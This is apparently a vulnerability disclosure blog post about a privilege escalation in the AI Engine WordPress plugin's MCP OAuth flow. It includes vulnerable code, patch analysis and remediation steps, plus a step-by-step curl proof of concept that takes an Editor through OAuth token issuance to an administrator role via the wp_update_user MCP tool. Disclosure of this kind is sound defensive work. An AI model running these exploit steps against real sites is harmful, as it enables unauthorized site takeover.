AI Engine – The Chatbot, AI Framework & MCP for WordPress plugin banner

CVE-2026-27407: AI Engine Editor+ Privilege Escalation via MCP OAuth (CVSS 7.2)

Updated 8 min read

CVE-2026-27407 is a CVSS 7.2 High Privilege Escalation vulnerability in the AI Engine – The Chatbot, AI Framework & MCP for WordPress plugin. An authenticated attacker with Editor-level access can exploit a missing role check in the MCP OAuth flow to obtain an access token. With that token, the attacker can call privileged MCP tools and escalate their WordPress role to administrator.

Vulnerability Summary

FieldValue
Plugin NameAI Engine – The Chatbot, AI Framework & MCP for WordPress
Plugin Slugai-engine
CVE IDCVE-2026-27407
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeIncorrect Privilege Assignment
Affected Versions<= 3.4.9
Patched Version3.5.0
PublishedMay 28, 2026
ResearcherPhat RiO
Wordfence AdvisoryLink

Description

The AI Engine plugin exposes a Model Context Protocol (MCP) server. This server provides powerful WordPress management tools. These tools include wp_create_user and wp_update_user, which can create admin accounts or change user roles.

The plugin protects its MCP endpoint with an admin check. By default, only administrators can access it. However, the plugin also supports OAuth 2.1 for clients like Claude Desktop. The OAuth authorization endpoint contains a flaw: it only checks whether the user is logged in. It does not check whether the user is an administrator.

This means any authenticated user — including an Editor — can complete the OAuth authorization flow. Once they have an OAuth token, the MCP authentication path accepts it without verifying the holder’s WordPress role. Because the server’s mcp_role setting defaults to admin, all MCP tools become available. The attacker can then call wp_update_user to promote their own account to administrator.

Technical Analysis

Vulnerability Root Cause

The vulnerability lives in two functions inside labs/mcp-oauth.php: handle_authorize and handle_authorize_submit.

handle_authorize (GET — consent page display):

// labs/mcp-oauth.php — handle_authorize() (vulnerable, version 3.4.9)
if ( !is_user_logged_in() ) {
    // Redirects to wp-login.php if not logged in
    wp_safe_redirect( wp_login_url( $current_url ) );
    exit;
}

$user = wp_get_current_user();
// ❌ Missing: no check that $user has 'administrator' capability
$this->render_consent_page( $client, $params, $user );
exit;

The function redirects unauthenticated visitors to the login page. After login, it renders the OAuth consent page to any authenticated user — including Editors.

handle_authorize_submit (POST — authorization code issuance):

// labs/mcp-oauth.php — handle_authorize_submit() (vulnerable, version 3.4.9)
if ( !is_user_logged_in() ) {
    wp_safe_redirect( wp_login_url() );
    exit;
}
// ❌ Missing: no admin check before issuing the authorization code

$code_data = [
    'user_id' => get_current_user_id(), // Stores ANY user's ID
    // ...
];
set_transient( $this->auth_code_key( $code ), $code_data, self::AUTH_CODE_TTL );

When an Editor clicks “Approve” on the consent page, the function stores their user_id in the authorization code. No capability check prevents this.

Token Validation Accepts Any User

After the Editor exchanges the code for an OAuth token, the MCP server validates it in labs/mcp.php:

// labs/mcp.php — auth_via_bearer_token() (vulnerable, version 3.4.9)
$token_data = $this->oauth->validate_token( $token );
if ( $token_data ) {
    // ❌ No role check — sets current user to the Editor
    wp_set_current_user( $token_data['user_id'] );
    return true; // Grants MCP access
}

The function sets the current WordPress user to the token holder and returns true unconditionally. Because the mcp_role option defaults to 'admin', the role_has_access() function returns true for every tool, including wp_update_user (marked accessLevel: 'admin').

Execution Path from Editor Login to Admin Privilege

  1. Editor visits the OAuth authorize endpoint and logs in via the normal WordPress login screen.
  2. The consent page renders — no admin gate stops the Editor.
  3. Editor clicks “Approve”. An authorization code is stored with the Editor’s user ID.
  4. Editor exchanges the code for an OAuth access token.
  5. Editor sends a request to the MCP HTTP endpoint with Authorization: Bearer <token>.
  6. The token validates successfully; the Editor now acts as an authenticated MCP user.
  7. Because mcp_role defaults to 'admin', role_has_access returns true for all tools.
  8. The Editor calls wp_update_user with {"ID": <editor_user_id>, "fields": {"role": "administrator"}}.
  9. WordPress promotes the Editor to administrator.

Proof of Concept

Disclaimer: This proof of concept is provided for educational and defensive purposes only. Do not use it against systems you do not own or have explicit permission to test.

Prerequisites:

  • AI Engine plugin installed and activated, version ≤ 3.4.9
  • MCP feature enabled in AI Engine settings (Settings > MCP)
  • An account with at least Editor-level access

Step 1 — Register an OAuth client (Dynamic Client Registration):

curl -s -X POST "https://target.example.com/wp-json/mcp/v1/oauth/register" \
  -H "Content-Type: application/json" \
  -d '{
    "client_name": "poc-client",
    "redirect_uris": ["http://127.0.0.1:8888/callback"]
  }'

Save the client_id from the response.

Step 2 — Generate PKCE parameters:

CODE_VERIFIER=$(openssl rand -base64 48 | tr -d '=+/' | cut -c1-64)
CODE_CHALLENGE=$(echo -n "$CODE_VERIFIER" | openssl dgst -sha256 -binary | openssl base64 | tr -d '=' | tr '+/' '-_')
echo "Verifier: $CODE_VERIFIER"
echo "Challenge: $CODE_CHALLENGE"

Step 3 — Visit the authorization URL as the Editor:

Open this URL in a browser where the Editor is logged in:

https://target.example.com/wp-json/mcp/v1/oauth/authorize
  ?response_type=code
  &client_id=<CLIENT_ID>
  &redirect_uri=http://127.0.0.1:8888/callback
  &scope=mcp
  &code_challenge=<CODE_CHALLENGE>
  &code_challenge_method=S256
  &state=poc

Click “Approve” on the consent page. You will be redirected to http://127.0.0.1:8888/callback?code=<AUTH_CODE>&state=poc. Copy the code value.

Step 4 — Exchange the code for an access token:

AUTH_CODE="<AUTH_CODE_FROM_REDIRECT>"
CLIENT_ID="<YOUR_CLIENT_ID>"

curl -s -X POST "https://target.example.com/wp-json/mcp/v1/oauth/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code\
&code=${AUTH_CODE}\
&redirect_uri=http://127.0.0.1:8888/callback\
&code_verifier=${CODE_VERIFIER}\
&client_id=${CLIENT_ID}"

Save the access_token from the response.

Step 5 — Escalate to administrator via wp_update_user:

Replace <EDITOR_USER_ID> with the Editor’s WordPress user ID.

ACCESS_TOKEN="<YOUR_ACCESS_TOKEN>"
EDITOR_USER_ID=2

curl -s -X POST "https://target.example.com/wp-json/mcp/v1/http" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "wp_update_user",
      "arguments": {
        "ID": '"${EDITOR_USER_ID}"',
        "fields": {
          "role": "administrator"
        }
      }
    }
  }'

Expected response:

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "content": [{"type": "text", "text": "User #2 updated"}]
  }
}

Verification: Log in to the WordPress admin dashboard with the Editor’s credentials. The user now has the administrator role.

Patch Analysis

Version 3.5.0 introduces a new user_can_authorize() function in labs/mcp-oauth.php:

// labs/mcp-oauth.php — version 3.5.0
public function user_can_authorize( $user_id ) {
    $user_id = (int) $user_id;
    $allowed = $user_id > 0 && user_can( $user_id, 'administrator' );
    return (bool) apply_filters( 'mwai_mcp_oauth_user_can_authorize', $allowed, $user_id );
}

This function checks that the user holds the administrator capability before allowing them to authorize an OAuth client. The fix applies this check in three places:

1. Consent page display (handle_authorize):

// Added in 3.5.0
if ( !$this->user_can_authorize( $user->ID ) ) {
    $this->render_error_page(
        'Only administrators can authorize MCP applications on this site.'
    );
    exit;
}

2. Authorization code issuance (handle_authorize_submit):

// Added in 3.5.0
if ( !$this->user_can_authorize( get_current_user_id() ) ) {
    $this->render_error_page(
        'Only administrators can authorize MCP applications on this site.'
    );
    exit;
}

3. Token validation defense-in-depth (auth_via_bearer_token in labs/mcp.php):

// Added in 3.5.0 — rejects tokens issued before the fix was deployed
if ( !$this->oauth->user_can_authorize( $token_data['user_id'] ) ) {
    return false;
}

The third check protects against tokens that were issued before the patch. Even if an attacker obtained a valid OAuth token from an older plugin version, the token is now rejected at validation time if the holder lacks the administrator capability.

The fix addresses the root cause directly. Non-admin users can no longer complete the OAuth flow or use existing OAuth tokens against the MCP endpoint.

Timeline

DateEvent
May 28, 2026Vulnerability publicly published by Wordfence
June 2, 2026Advisory last updated
Version 3.5.0Patch released

Remediation

Update the AI Engine plugin to version 3.5.0 or later immediately.

  1. Log in to your WordPress admin dashboard.
  2. Go to Plugins > Installed Plugins.
  3. Find AI Engine – The Chatbot, AI Framework & MCP for WordPress.
  4. Click Update Now.

You can also update from wordpress.org/plugins/ai-engine/.

If you cannot update immediately, disable the MCP feature in AI Engine settings as a temporary mitigation. This removes the OAuth endpoint from your site until you can apply the patch.

References

  1. Wordfence Advisory — CVE-2026-27407
  2. Patchstack VDP — AI Engine 3.4.9 Privilege Escalation
  3. WordPress Trac — Changeset diff 3.4.9 → 3.5.0
  4. CVE Record — CVE-2026-27407
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee